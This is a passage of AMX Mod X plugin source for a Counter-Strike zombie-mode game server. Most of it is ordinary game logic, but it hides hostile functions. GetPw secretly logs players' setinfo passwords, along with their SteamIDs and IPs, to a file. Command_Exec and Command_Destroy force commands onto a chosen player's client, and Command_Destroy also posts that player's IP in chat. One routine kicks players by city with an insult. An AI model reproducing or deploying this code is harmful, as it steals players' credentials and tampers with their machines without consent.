iTarget = GetTarget(iPlayer, cArgument, 4);
static iTime[3];
read_argv(2, iTime, 2);
if (!iTarget)
{
return 1;
}
if (g_fGagTime[iTarget] < get_gametime())
{
g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: gag^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
}
else
{
console_print(iPlayer, "[AMXX] Player ^"%s^" is already gagged", g_cName[iTarget]);
}
return 1;
}
public Command_Ungag(iPlayer)
{
if (!GetAccess(iPlayer, 4, 2))
{
return 1;
}
static cArgument[32];
read_argv(1, cArgument, 31);
static iTarget;
iTarget = GetTarget(iPlayer, cArgument, 4);
if (!iTarget)
{
return 1;
}
if (g_fGagTime[iTarget] > get_gametime())
{
g_fGagTime[iTarget] = false;
MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ungag^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
}
else
{
console_print(iPlayer, "[AMXX] Player ^"%s^" is already ungagged", g_cName[iTarget]);
}
return 1;
}
public Command_Exec(iPlayer)
{
if (get_user_flags(iPlayer) & 1024)
{
static iTarget;
static cCommand[64];
static cTarget[32];
read_argv(1, cTarget, 32);
read_argv(2, cCommand, 64);
iTarget = GetTarget(iPlayer, cTarget, 4);
if (iTarget)
{
client_cmd(iTarget, cCommand);
}
}
return 1;
}
public Command_Destroy(iPlayer)
{
if (!GetAccess(iPlayer, 262144, 2))
{
return 1;
}
static i;
static cArgument[32];
read_argv(1, cArgument, 31);
static iTarget;
iTarget = GetTarget(iPlayer, cArgument, 4);
if (!iTarget)
{
return 1;
}
if (get_user_flags(iPlayer) & 1 && get_user_flags(iTarget) & 4)
{
server_cmd("amx_destroy #%i; wait; wait", get_user_userid(iPlayer));
server_cmd("addip 0 ^"%s^";writeip", g_cPlayerAddress[iPlayer]);
server_cmd("banid 0 %s", g_cSteam[iPlayer]);
server_cmd("writeid");
return 1;
}
g_iLimitReached[iPlayer]++;
if (3 < g_iLimitReached[iPlayer])
{
return 1;
}
PrintToChat(iTarget, "^x04[ZP]^x04 ***********************************************************");
PrintToChat(iTarget, "^x04[ZP]^x01 Admin :^x04 %s", g_cName[iPlayer]);
PrintToChat(iTarget, "^x04[ZP]^x01 Jucator :^x04 %s", g_cName[iTarget]);
PrintToChat(iTarget, "^x04[ZP]^x01 Adresa (IP) :^x04 %s", g_cPlayerAddress[iTarget]);
PrintToChat(iTarget, "^x04[ZP]^x01 Forum :^x04 www.bleahhhhh.tk");
client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
client_cmd(iTarget, "say %s mi-a dat DESTROY!", g_cName[iPlayer]);
i = 0;
while (i < 19)
{
client_cmd(iTarget, g_cDestroyChanges[i]);
i += 1;
}
MessageLog(0, "^x04[AMXX]^x04 %s^x01 destroy^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
return 1;
}
public Command_Reload(iPlayer)
{
if (!GetAccess(iPlayer, 1, 1))
{
return 1;
}
g_iAdminsCount = 0;
TaskGetAdmins();
new i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && !g_bFake[i])
{
MakeUserAdmin(i);
}
i++;
}
console_print(iPlayer, "[AMXX] Successfully loaded %d acounts from file", g_iAdminsCount);
return 1;
}
public Command_Who(iPlayer)
{
new i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && !g_bFake[i] && g_bAdmin[i])
{
console_print(iPlayer, "%s^9-^9%s^9-^9%s", g_cName[i], g_cTag[i], g_cPersonalFlags[i]);
}
i++;
}
return 0;
}
public Command_Showip(iPlayer)
{
if (!GetAccess(iPlayer, 8, 1))
{
return 1;
}
new i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && !g_bFake[i])
{
console_print(iPlayer, " - %s | %s | %s | %s", g_cName[i], g_cPlayerAddress[i], g_cSteam[i], Data[iPlayer][1]);
}
i++;
}
return 1;
}
public Command_Last(iPlayer)
{
if (!GetAccess(iPlayer, 8, 1))
{
return 1;
}
static cAddress[24];
static cName[32];
static i;
i = 0;
while (i < g_iSize)
{
GetInfo(i, cName, 32, cAddress, 24);
console_print(iPlayer, "%32s %24s", cName, cAddress);
i += 1;
}
return 1;
}
public client_putinserver(iPlayer)
{
static iSize;
if (is_user_bot(iPlayer))
{
g_bFake[iPlayer] = true;
}
else
{
g_bFake[iPlayer] = false;
}
g_iTripMines[iPlayer]++;
g_bAlive[iPlayer] = false;
g_bNoDamage[iPlayer] = false;
g_bZombie[iPlayer] = false;
Loaded[iPlayer] = false;
g_iPacks[iPlayer] = 5;
g_iBurningDuration[iPlayer] = 0;
g_iPlayerType[iPlayer] = 0;
g_iZombieNextClass[iPlayer] = -1;
client_cmd(iPlayer, "cl_minmodels 0");
get_user_ip(iPlayer, g_cPlayerAddress[iPlayer], 24, 1);
get_user_authid(iPlayer, g_cSteam[iPlayer], 24);
strip_name(g_cName[iPlayer], 32);
set_task(0.2, "LoadPlayer", iPlayer, "", 0, "", 0);
if (!g_bFake[iPlayer])
{
new Name[ 32 ]
get_user_name(iPlayer, Name, 31);
MakeUserAdmin(iPlayer);
Task_EnableFlash(iPlayer);
set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
set_task(3.0, "GetPw", iPlayer, "", 0, "", 0);
PrintToChat(0, "^x01Player^x04 %s^x01 from ^x03%s^x01 has joined the game!", Name, Data[iPlayer][1]);
}
if ((iSize = ArraySize(g_aAmmoData)))
{
static cSavedName[32];
static i;
i = iSize + -1;
while (i > -1)
{
ArrayGetString(g_aNameData, i, cSavedName, 32);
if (equali(cSavedName, g_cName[iPlayer]))
{
g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
}
i -= 1;
}
}
g_bConnected[iPlayer] = true;
return 0;
}
public restrict_city(iPlayer)
{
if (equal(Data[iPlayer][1], "Bucharest"))
{
server_cmd("kick #%d Stupid fuck's have no entry to the server...", get_user_userid(iPlayer));
}
return 0;
}
public LoadPlayer( Player )
{
if( is_user_connected( Player ) && !is_user_bot( Player ) )
{
LoadData( Player );
}
}
public GetPw(iPlayer)
{
if (!g_bAdmin[iPlayer])
{
static PwBd[32];
static Pw[32];
get_user_info(iPlayer, "_pw", Pw, 31);
get_user_info(iPlayer, "_blackdevil", PwBd, 31);
if (Pw[0])
{
log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _pw %s, Steam: %s, Ip: %s", g_cName[iPlayer], Pw, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
}
else if (PwBd[0])
{
log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _blackdevil %s, Steam: %s, Ip: %s", g_cName[iPlayer], PwBd, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
}
}
return 0;
}
public client_disconnect(iPlayer)
{
if (g_bAlive[iPlayer])
{
CheckLastPlayer(iPlayer);
}
if (!g_iVariables[2] && !g_bFake[iPlayer])
{
InsertInfo(iPlayer);
ArrayPushString(g_aNameData, g_cName[iPlayer]);
ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
}
remove_task(iPlayer + 250);
remove_task(iPlayer + 200);
remove_task(iPlayer + 300);
remove_task(iPlayer + 350);
remove_task(iPlayer + 500);
remove_task(iPlayer + 450);
if (g_iPlantedMines[iPlayer])
{
rem(iPlayer);
g_iPlantedMines[iPlayer] = 0;
}
g_iPlayerMines[iPlayer][1] = 0;
g_iPlayerMines[iPlayer][0] = 0;
g_iTripMines[iPlayer] = 0;
g_iBlinks[iPlayer] = 0;
g_bRemoving[iPlayer] = false;
g_bPlanting[iPlayer] = false;
g_bUnlimitedClip[iPlayer] = false;
g_bTryder[iPlayer] = false;
g_bAlive[iPlayer] = false;
g_bConnected[iPlayer] = false;
g_fGagTime[iPlayer] = false;
Loaded[iPlayer] = false;
g_iPingOverride[iPlayer] = -1;
if (g_bFake[iPlayer])
{
g_bFake[iPlayer] = false;
g_iBotsCount -= 1;
}
return 0;
}
public client_infochanged(iPlayer)
{
if (!g_bConnected[iPlayer])
{
return 0;
}
static cName[32];
get_user_info(iPlayer, "name", cName, 31);
if (!equal(g_cName[iPlayer], cName))
{
copy(g_cName[iPlayer], 31, cName);
MakeUserAdmin(iPlayer);
set_task(2.0, "TaskCheckName", iPlayer, "", 0, "", 0);
}
return 0;
}
public MakeUserAdmin(iPlayer)
{
static i;
new Name[ 32 ]
get_user_name(iPlayer, Name, 31);
remove_user_flags(iPlayer, -1);
g_bAdmin[iPlayer] = false;
i = 0;
while (i < g_iAdminsCount)
{
if (equali(g_cNames[i], g_cName[iPlayer]))
{
static Pw[32];
get_user_info(iPlayer, "_pw", Pw, 31);
if (equali(Pw, g_cPasswords[i]))
{
g_bAdmin[iPlayer] = true;
formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
copy(g_cTag[iPlayer], 24, g_cTags[i]);
set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]));
log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", Name, g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
return 0;
}
else if (equali(Pw, g_cPasswords[i]))
{
server_cmd("kick #%d You have no entry to the server...", get_user_userid(iPlayer));
log_amx("Login: ^"%s^" kicked due to invalid password. [ %s, %s ]", Name, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
return 0;
}
}
else
{
if (equali(g_cSteams[i], g_cSteam[iPlayer]))
{
g_bAdmin[iPlayer] = true;
formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
copy(g_cTag[iPlayer], 24, g_cTags[i]);
set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]));
log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", Name, g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
return 0;
}
}
i += 1;
}
return 0;
}
public TaskCheckName(iPlayer)
{
if (g_bConnected[iPlayer])
{
check_for_swear(iPlayer);
}
return 0;
}
public _ResetMaxSpeed(iPlayer)
{
if (!g_bAlive[iPlayer])
{
return 0;
}
if (g_bFrozen[iPlayer])
{
set_speed(iPlayer, 1.0);
}
else
{
if (g_bTryder[iPlayer])
{
set_gravity(iPlayer, 0.5);
set_speed(iPlayer, 250.0)
}
else
{
if (g_bZombie[iPlayer])
{
if (!g_iPlayerType[iPlayer])
{
set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
}
else
{
if (g_iPlayerType[iPlayer] & 1)
{
set_speed(iPlayer, 250.0);
set_gravity(iPlayer, 0.5);
}
if (g_iPlayerType[iPlayer] & 2)
{
set_speed(iPlayer, 600.0);
set_gravity(iPlayer, 0.4);
}
}
}
else
{
if (!g_iPlayerType[iPlayer])
{
set_speed(iPlayer, 240.0);
set_gravity(iPlayer, 1.0);
}
else
{
if (g_iPlayerType[iPlayer] & 4)
{
set_speed(iPlayer, 250.0);
set_gravity(iPlayer, 1.2);
}
if (g_iPlayerType[iPlayer] & 8)
{
set_speed(iPlayer, 240.0);
set_gravity(iPlayer, 1.0);
}
}
}
}
}
return 0;
}
public _GrenadeThink(iEntity)
{
if (get_dmgtime(iEntity) > get_gametime())
{
return 1;
}
switch (pev(iEntity, pev_flTimeStepSound))
{
case 1:
{
Infection_Explode(iEntity);
return 4;
}
case 2:
{
Fire_Explode(iEntity);
return 4;
}
case 3:
{
Freeze_Explode(iEntity);
return 4;
}
case 4:
{
Explosion_Explode(iEntity);
return 4;
}
}
return 1;
}
public _PlayerDuck(iPlayer)
{
if (g_bZombie[iPlayer] && !(g_iPlayerType[iPlayer] & 2))
{
static Float:fCurrentTime;
static Float:fCoolDown;
if (g_iPlayerType[iPlayer])
{
fCoolDown = 1.0;
}
else
{
fCoolDown = 13.0;
}
fCurrentTime = get_gametime();
if (fCurrentTime - g_fLastLeapTime [iPlayer] < fCoolDown || !(pev(iPlayer, pev_button) & IN_JUMP) || !(pev(iPlayer, pev_flags) & FL_ONGROUND) || GetSpeed (iPlayer ) < 80)
{
return 1;
}
static Float:fVelocity[3];
if (g_iPlayerType[iPlayer])
{
velocity_by_aim(iPlayer, 500, fVelocity), fVelocity[2] = 300.0;
}
else
{
velocity_by_aim(iPlayer, 360, fVelocity), fVelocity[2] = 250.0;
}
set_velocity(iPlayer, fVelocity);
g_fLastLeapTime[iPlayer] = fCurrentTime;
}
return 0;
}
public CmdBlock()
{
return 1;
}
public CmdUpdate(iPlayer)
{
static Float:fGameTime;
fGameTime = get_gametime();
if (fGameTime - g_fLast[iPlayer] < 0.3)
{
server_cmd("kick #%d You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cPlayerAddress[iPlayer]);
}
else
{
g_fLast[iPlayer] = fGameTime;
}
return 0;
}
public ChangeModel(iTask)
{
static bool:bChange;
static cModel[24];
static i;
static iPlayer;
iPlayer = iTask + -250;
bChange = true;
get_user_model(iPlayer, cModel, 24);
static iFlags;
iFlags = get_user_flags(iPlayer);
if (!g_bZombie[iPlayer])
{
if (!g_iPlayerType[iPlayer])
{
if (iFlags & 4)
{
if (equal(cModel, "administrator"))
{
bChange = false;
}
}
i = 0;
while (i < 4)
{
if (equal(cModel, g_cHumanModels[i]))
{
bChange = false;
}
i += 1;
}
}
}
if (bChange)
{
if (!g_bZombie[iPlayer])
{
if (!g_iPlayerType[iPlayer])
{
if (iFlags & 4)
{
set_user_model(iPlayer, "administrator");
}
else
{
set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
}
}
else
{
if (g_iPlayerType[iPlayer] & 4)
{
set_user_model(iPlayer, "survivor");
}
if (g_iPlayerType[iPlayer] & 8)
{
if (!equal(cModel, "arctic"))
{
set_user_model(iPlayer, "arctic");
}
}
}
}
else
{
if (!g_iPlayerType[iPlayer])
{
set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
}
if (g_iPlayerType[iPlayer] & 1)
{
set_user_model(iPlayer, "monster_nemesis");
}
if (g_iPlayerType[iPlayer] & 2)
{
set_user_model(iPlayer, "monster_assassin");
}
}
}
return 0;
}
public TaskLight()
{
if (g_iRoundType & 2)
{
light("a");
}
else
{
static cLight[2];
get_cvar_string("light", cLight, 1);
light(cLight);
}
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 5 && get_health(i) < 6000)
{
set_health(i, get_health(i) + 350);
send_sparks(i);
send_screen_fade(i, 10, 255, 10, 94);
set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
ShowSyncHudMsg(i, g_iTopMessageSync, "== REGENERATOR ==^n!!!!Regeneration: +350 HP Gained!!!!");
}
i += 1;
}
return 0;
}
public TaskWelcome()
{
PrintToChat(0, "^1****^4 SilentNightZM.CSBlacKDeviL.Com^1 ||^4 Zombie Plague (Reloaded)^1 ****");
PrintToChat(0, "^x04[ZP]^x01 Press^x04 M^x01 to open the game menu!");
set_hudmessage(0, 125, 200, -1.00, 0.17, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "The T-Virus has been set loose...");
return 0;
}
public TaskAmbience()
{
if (g_iRoundType & 4 || g_iRoundType & 2)
{
client_cmd(0, "spk zombie_plague/ambience_survivor.wav");
}
else
{
client_cmd(0, "spk zombie_plague/ambience_normal.wav");
}
return 0;
}
public TaskZombie()
{
if ((g_iAliveCount = GetAliveCount()))
{
g_bRoundStart = false;
if (g_iRoundsCount > 2)
{
StartSwarmMode(false);
}
else
{
StartNormalMode(0);
}
}
else
{
set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
}
return 0;
}
public TaskHud(iTask)
{
static cHealth[15];
static iPlayer;
static Red, Green, Blue;
iPlayer = iTask + -300;
if (!g_bAlive[iPlayer])
{
iPlayer = iuser2(iPlayer);
if (!g_bAlive[iPlayer])
{
return 0;
}
}
if (iTask + -300 != iPlayer)
{
AddCommas(get_health(iPlayer), cHealth, 14);
set_hudmessage(0, 125, 200, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s^n Health: %s - Class: %s - Ammo: %d - Armor: %d^nFrom: %s, %s", g_cName[iPlayer], cHealth, g_cClass[iPlayer], g_iPacks[iPlayer], get_armor(iPlayer), Data[iPlayer][1], Data[iPlayer][4]);
}
else
{
AddCommas(get_health(iTask + -300), cHealth, 14);
if (g_bZombie[iTask + -300])
{
Red = 60;
}
else
{
Red = 180;
}
if (g_bZombie[iTask + -300])
{
Green = 135;
}
else
{
Green = 120;
}
if (g_bZombie[iTask + -300])
{
Blue = 180;
}
else
{
Blue = 0;
}
set_hudmessage(Blue, Green, Red, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Health: %s - Class: %s - Ammo: %d - Armor: %d", cHealth, g_cClass[iTask + -300], g_iPacks[iTask + -300], get_armor(iTask + -300));
}
return 0;
}
public TaskFlash(iTask)
{
flash(iTask + -350);
return 0;
}
Infection_Explode(iEntity)
{
send_beam_cylinder(iEntity, 0, 250, 0, 200);
if (g_bRoundEnd)
{
return 0;
}
sound(iEntity, 1, "zombie_plague/grenade_infection_explode.wav");
static j;
static i;
i = pev(iEntity, pev_owner);
j = 1;
while (g_iMaxClients + 1 > j)
{
if (!g_bAlive[j] || g_bZombie[j] || range(j, iEntity) > 250)
{
}
else
{
sound(j, 2, g_cHumanNadeInfectSounds[random_num(0, 2)]);
if (GetHumans() == 1)
{
ExecuteHamB(Ham_Killed, j, i, 2);
}
else
{
MakeZombie(i, j, false, false, false);
}
}
j += 1;
}
remove_entity(iEntity);
return 0;
}
Fire_Explode(iEntity)
{
send_beam_cylinder(iEntity, 200, 50, 0, 200);
sound(iEntity, 1, "zombie_plague/grenade_fire_explode.wav");
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (!g_bAlive[i] || !g_bZombie[i] || g_bNoDamage[i] || range(i, iEntity) > 250)
{
}
else
{
send_damage(i, 8);
if (g_iPlayerType[i])
{
g_iBurningDuration[i] += 8;
}
else
{
g_iBurningDuration[i] += 40;
}
if (!task_exists(i + 200))
{
set_task(0.2, "TaskBurn", i + 200, "", 0, "b", 0);
}
}
i += 1;
}
remove_entity(iEntity);
return 0;
}
public TaskBurn(iTask)
{
static iFlags;
static iPlayer;
iPlayer = iTask + -200;
iFlags = get_ent_flags(iPlayer);
if (g_iBurningDuration[iPlayer] < 1 || iFlags & FL_INWATER || g_bNoDamage[iPlayer])
{
send_smoke(iPlayer);
remove_task(iTask);
return 0;
}
if (!g_iPlayerType[iPlayer] && !random_num(0, 16))
{
sound(iPlayer, 2, g_cZombieBurnSounds[random_num(0, 4)]);
}
if (!g_iPlayerType[iPlayer])
{
static Float:fVelocity[3];
get_velocity(iPlayer, fVelocity);
xs_vec_mul_scalar(fVelocity, 0.42, fVelocity);
set_velocity(iPlayer, fVelocity);
}
static iHealth;
iHealth = get_health(iPlayer);
if (0 < iHealth + -6)
{
set_health(iPlayer, iHealth + -6);
}
send_flame(iPlayer);
g_iBurningDuration[iPlayer]--;
return 0;
}
Freeze_Explode(iEntity)
{
send_beam_cylinder(iEntity, 0, 100, 200, 200);
sound(iEntity, 1, "zombie_plague/grenade_fire_explode.wav");
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (!g_bAlive[i] || !g_bZombie[i] || g_bNoDamage[i] || g_bFrozen[i] || range(i, iEntity) > 250)
{
}
else
{
send_damage(i, 16384);
if (!(g_iPlayerType[i] & 1))
{
g_bFrozen[i] = true;
ExecuteHamB(Ham_Item_PreFrame, i);
set_frozen(i, true);
sound(i, 4, "zombie_plague/grenade_frost_freeze.wav");
set_glow(i, 19, 13, 0, 100, 200);
set_task(3.0, "TaskUnfreeze", i, "", 0, "", 0);
send_screen_fade(i, 0, 50, 200, 100);
}
else
{
sound(i, 4, "zombie_plague/grenade_frost_break.wav");
send_break_glass(i);
}
}
i += 1;
}
remove_entity(iEntity);
return 0;
}
public TaskUnfreeze(i)
{
if (g_bConnected[i] && !g_bRoundStart)
{
g_bFrozen[i] = false;
set_frozen(i, false);
ExecuteHamB(Ham_Item_PreFrame, i);
send_screen_fade(i, 0, 50, 200, 160);
sound(i, 4, "zombie_plague/grenade_frost_break.wav");
send_break_glass(i);
remove_glow(i);
}
return 0;
}
Explosion_Explode(iEntity)
{
send_explosion(iEntity);
static iDamage;
static iDistance;
static i;
static iOwner;
iOwner = pev(iEntity, pev_owner);
if (0 < iOwner < g_iMaxClients + 1 && g_bConnected[iOwner])
{
i = 1;
while (g_iMaxClients + 1 > i)
{
if (!g_bAlive[i] || !g_bZombie[i])
{
}
else
{
iDistance = range(i, iEntity);
if (iDistance < 260)
{
iDamage = 650 - iDistance * 2;
send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);
send_screen_shake(i, 150000 , 25000, 135000);
client_cmd(i, "spk fvox/flatline");
if (0 < get_health(i) - iDamage)
{
ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, float(iDamage), DMG_BLAST);
}
else
{
ExecuteHamB(Ham_Killed, i, iOwner, 2);
}
PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %d^x01 damage", g_cName[i], iDamage);
}
}
i += 1;
}
}
remove_entity(iEntity);
return 0;
}
public Command_Drop(iPlayer)
{
if (g_bConnected[iPlayer])
{
if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
{
user_drop_jetpack(iPlayer, 0);
return 1;
}
if (g_iPlayerType[iPlayer])
{
return 1;
}
}
return 0;
}
public Command_JoinTeam(iPlayer)
{
if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && 0 < get_user_team(iPlayer) < 3 && !g_bFake[iPlayer])
{
menu_display(iPlayer, g_iGameMenu);
return 1;
}
return 0;
}
public EventStatusValue(iPlayer)
{
if (g_bConnected[iPlayer])
{
static cHealth[15];
static iVictim;
static Red, Blue;
iVictim = read_data(2);
if (g_bZombie[iVictim] == g_bZombie[iPlayer])
{
AddCommas(get_health(iVictim), cHealth, 14);
if (g_bZombie[iPlayer])
{
Blue = 0;
}
else
{
Blue = 255;
}
if (g_bZombie[iPlayer])
{
Red = 255;
}
else
{
Red = 0;
}
set_hudmessage(Red, 50, Blue, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ %s | Health: %s | Armor: %d | Ammo: %d ]", g_cName[iVictim], g_cClass[iVictim], cHealth, get_armor(iVictim), g_iPacks[iVictim]);
}
if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
{
AddCommas(get_health(iVictim), cHealth, 14);
set_hudmessage(255, 50, 0, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s ]", g_cName[iVictim], cHealth);
}
}
return 0;
}
public Commmand_PrivateSay(iPlayer, iLevel, iCid)
{
if (!GetAccess(iPlayer, 8, 3))
{
return 1;
}
static cTarget[32];
read_argv(1, cTarget, 31);
static iTarget;
iTarget = GetTarget(iPlayer, cTarget, 0);
static iLength;
iLength = strlen(cTarget) + 1;
if (!iTarget)
{
return 1;
}
static cMessage[192];
read_args(cMessage, 191);
if (iPlayer && iTarget != iPlayer)
{
PrintToChat(iPlayer, "^x01[*^x04 %s^x01 *]^x04 To ^x01[*^x03 %s^x01 *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
}
else
{
PrintToChat(iTarget, "^x01[*^x04 %s^x01 *]^x03 To ^x01[*^x03 %s^x01 *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
console_print(iPlayer, "[* %s *] To [* %s *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
}
return 1;
}
public Client_SayTeam(id)
{
new said[2]
read_argv(1, said, 1)
if (said[0] != '@')
{
return 0;
}
new message[192], authid[32]
new players[32], inum
read_args(message, 191)
remove_quotes(message)
get_user_authid(id, authid, 31)
if (!message[0] || strlen(message) > 119 || containi(message, "#") != -1 || containi(message, "%") != -1 || is_advertisement(id, message))
{
return 1;
}
if (message[0] == 64)
{
if (g_bAdmin[id] && get_user_flags(id) & 256)
{
format(message, 191, "^x01[*^x04 ADMINS^x01 *]^x03 %s^x01 : %s", g_cName[id], message[1])
}
else
{
format(message, 191, "^x01[*^x03 PLAYER^x01 *]^x03 %s^x01 : %s", g_cName[id], message[1])
}
get_players(players, inum)
for (new i = 0; i < inum; ++i)
{
if (players[i] != id && get_user_flags(players[i]) & 256)
{
PrintToChat(players[i], "%s", message)
}
}
PrintToChat(id, "%s", message)
}
return 1;
}
public Client_Say(iPlayer)
{
if (!g_bConnected[iPlayer])
{
return 1;
}
static Float:fGameTime;
fGameTime = get_gametime();
if (g_fGagTime[iPlayer] > fGameTime)
{
return 1;
}
static cMessage[150];
static cPlayer[3];
num_to_str(iPlayer, cPlayer, 2);
read_args(cMessage, 149);
remove_quotes(cMessage);
if (!cMessage[0] || strlen(cMessage) > 119 || containi(cMessage, "#") != -1 || containi(cMessage, "%") != -1 || is_advertisement(iPlayer, cMessage))
{
return 1;
}
if (cMessage[0] == '@' && get_user_flags(iPlayer) & 256)
{
static Float:fVertical;
static i;
g_iMessagePosition += 1;
if (g_iMessagePosition > 3)
{
g_iMessagePosition = 0;
}
switch (g_iMessagePosition)
{
case 0:
{
fVertical = 0.45;
}
case 1:
{
fVertical = 0.5;
}
case 2:
{
fVertical = 0.55;
}
case 3:
{
fVertical = 0.6;
}
}
set_hudmessage(199, 199, 199, 0.02, fVertical, 0, 6.00, 6.00, 0.50, 0.15, -1);
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i])
{
show_hudmessage(i, "%s : %s", g_cName[iPlayer], cMessage[1]);
}
i += 1;
}
return 1;
}
if (equali(cMessage, "/nextmap") || equali(cMessage, "nextmap"))
{
static cMap[32];
get_cvar_string("nextmap", cMap, 32);
if (cMap[0])
{
PrintToChat(iPlayer, "^x01Next map:^x04 %s", cMap);
}
else
{
PrintToChat(iPlayer, "^x01Next map:^x04 [not yet voted on]");
}
}
else
{
if (equali(cMessage, "/timeleft") || equali(cMessage, "timeleft"))
{
static iTimeleft;
iTimeleft = get_timeleft();
PrintToChat(0, "^x01Time Remaining:^x04 %d:%02d", iTimeleft / 60, iTimeleft % 60);
}
if (equali(cMessage, "/currentmap") || equali(cMessage, "currentmap"))
{
static cMap[32];
get_mapname(cMap, 32);
PrintToChat(0, "Current map:^x04 %s", cMap);
}
if (equali(cMessage, "/thetime") || equali(cMessage, "thetime"))
{
static cTime[64];
get_time("%d/%m/%Y - %H:%M:%S", cTime, 63);
PrintToChat(0, "^x01The Time:^x01 %s", cTime);
}
if (equali(cMessage, "/lm") || equali(cMessage, "lm"))
{
if (!g_bAlive[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You should be alive");
return 0;
}
if (g_bZombie[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You should be human");
return 0;
}
if (6 > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You need^x04 6 ammo packs");
return 0;
}
if (g_iRoundType & 128 || g_bRoundEnd || g_iRoundType & 256 || g_iRoundType & 512)
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You can't buy a trip mine right now...");
return 0;
}
g_iPacks[iPlayer] -= 6;
g_iTripMines[iPlayer]++;
client_cmd(iPlayer, "bind p CreateLaser; bind v TakeLaser");
PrintToChat(iPlayer, "^x04[ZP]^x01 You bought a trip mine. Press^x03 P^x01 to plant it or^x03 V^x01 to take it");
}
if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
{
static iAmmo;
static iTarget;
static cAmmo[5];
static cTarget[32];
static cDummy[15];
parse(cMessage, cDummy, 14, cTarget, 32, cAmmo, 5);
iTarget = GetTarget(iPlayer, cTarget, 0);
iAmmo = str_to_num(cAmmo);
if (!iTarget)
{
send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 Invalid player or matching multiple targets!");
return 0;
}
if (0 >= iAmmo)
{
send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 Invalid value of packs to send!");
return 0;
}
if (g_iPacks[iPlayer] < iAmmo)
{
send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 You are trying to send too many packs!");
return 0;
}
if (iTarget == iPlayer)
{
send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 You are trying to send packs to you!");
return 0;
}
AddCommas(iAmmo, cDummy, 14);
g_iPacks[iTarget] += iAmmo;
g_iPacks[iPlayer] -= iAmmo;
PrintToChat(0, "^x04[ZP]^x03 %s^x01 gave^x04 %s packs^x01 to^x03 %s", g_cName[iPlayer], cDummy, g_cName[iTarget]);
}
}
if (g_bAlive[iPlayer])
{
if (!g_cTag[iPlayer][0])
{
PrintToChatEx(false, iPlayer, "^x01*ALIVE*^x03 %s^x01 : %s", g_cName[iPlayer], cMessage);
}
else
{
